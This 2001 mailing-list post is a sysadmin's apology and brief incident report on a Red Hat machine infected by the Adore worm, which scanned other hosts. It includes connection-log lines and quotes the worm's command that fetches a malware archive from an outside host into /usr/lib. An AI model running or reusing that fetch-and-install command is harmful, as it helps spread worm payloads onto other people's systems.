Mea Culpa

From: Etaoin Shrdlu (shrdluat_private)
Date: Sat Jun 23 2001 - 11:15:56 PDT

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    If you saw anything from my redhat/linux machine in the past few hours,
    Sorry.
    
    Jun 23 07:42|206.111.213.148|2650|65.169.x.x|53
    Jun 23 07:42|206.111.213.148|2822|65.199.x.x|515
    Jun 23 07:42|206.111.213.148|2823|65.199.x.x|515
    
    Yet another rootkit. It was slated to be upgraded to progeny/linux over
    the weekend, and I'm still deciding on whether to bother with forensics.
    It is an automated script, so I doubt that much information will be
    useful. The standard stuff on the standard, easily compromisable ports.
    They got in through the printer port, which I thought had been shut
    down. Famous last words.
    
    If it appears to be unique, I'll send it off to the places that seem to
    be archiving these things. Most of the interesting data (and certainly
    an early trigger) that warned me instantly that something was up
    (besides the mad green lights on the router when I wasn't doing anything
    to cause them) was clog (connection logger), a fine piece of code whose
    original author seems to have disappeared from the face of the earth.
    
    ...
    
    Well, after further examination, it's just yet another adore worm
    running pscan-* stuff against innocent folk out there. It was dumping
    from the following:
    
    lynx -dump http://go.163.com/laowang2001/red.tar >/usr/lib/red.tar
    
    The rest is history (except for all the passwords I get to change, just
    in case I had a duplicate somewhere). Again, if my bad boy bothered you
    from pacific time 11pm June 22 until approximately 8am june 23, I'm
    sorry. I'll be reformatting the disk before it goes back up, and it'll
    either have slack or debian (two civilized distros, in my personal
    opinion), well-patched.
    
    .shrdlu
    
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    Prepare for the worst.
                    -- Bruce Schneier
    



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